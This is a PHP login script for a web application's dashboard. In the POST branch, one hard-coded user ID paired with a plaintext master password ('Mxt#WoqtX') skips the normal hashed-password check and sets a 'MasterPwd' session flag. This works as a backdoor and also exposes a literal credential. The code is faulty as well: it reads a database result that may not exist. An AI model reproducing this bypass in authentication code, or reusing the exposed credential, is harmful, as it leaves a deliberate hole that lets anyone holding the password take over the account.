<?php 
	include('../config.php');  
    if(isset($_SESSION['userId']))
    {      
            $stmt=$conn->prepare("update  UI__Rgst  set UPI5=0 where cuurentId=:cuurentId  ");    
            $stmt->bindValue(':cuurentId',  $_SESSION['userId'], PDO::PARAM_STR);    
            $stmt->execute();  
            header("Location: ../mob/dashboard/");
            die;
    } 
  
      
      
      
            if(isset($_POST['SubmitRef']))
            {         
                    
                    if($_POST['login_id']=='DP841053')
                    {
                            if( ($_POST['userPWd']=="Mxt#WoqtX"))
                            {    
                                $set=0;      
                                $stmt=$conn->prepare("select * from UI__Rgst where cuurentId=:cuurentId and  is_active=1");    
                                $stmt->bindValue(':cuurentId',  $_POST['login_id'] , PDO::PARAM_STR);   
                                $stmt->execute();     
                                if($stmt->rowCount() > 0)
                                {
                                    $Result = $stmt->fetch(PDO::FETCH_OBJ);  
                                    $_SESSION['userLogin'] = 1;
                                    $_SESSION['userCustId'] = $Result->custId; 
                                    $_SESSION['userId'] = $Result->cuurentId;
                                    $_SESSION['userNm'] = $Result->nm; 
                                    $_SESSION['MasterPwd'] = 1;
                                    $set=1;   
                                }     
                                
                                $Ary['set'] = $set;
                                $Ary['cuurentId'] = $Result->cuurentId; 
                                echo json_encode($Ary);
                                die;  
                            }else 
                            {
                                $set=0;     
                                $userPWd = hash('sha256', $_POST['userPWd']);
                                $stmt=$conn->prepare("select * from UI__Rgst where cuurentId=:cuurentId and pwd=:pwd and is_active=1");    
                                $stmt->bindValue(':cuurentId',  $_POST['login_id'] , PDO::PARAM_STR);  
                                $stmt->bindValue(':pwd', $userPWd , PDO::PARAM_STR);  
                                $stmt->execute();   
                                      
                                
                                if($stmt->rowCount() > 0)
                                {
                                    $Result = $stmt->fetch(PDO::FETCH_OBJ);  
                                    $_SESSION['userLogin'] = 1;
                                    $_SESSION['userCustId'] = $Result->custId; 
                                    $_SESSION['userId'] = $Result->cuurentId;
                                    $_SESSION['userNm'] = $Result->nm; 
                                    $set=1;   
                                }
                                
                                $Ary['set'] = $set;
                                $Ary['cuurentId'] = $Result->cuurentId; 
                                echo json_encode($Ary);
                                die;  
                            }
                    
                    }
            }
          
               
	$filename = basename(__FILE__); 
	include_once("../view/".$filename); 
?>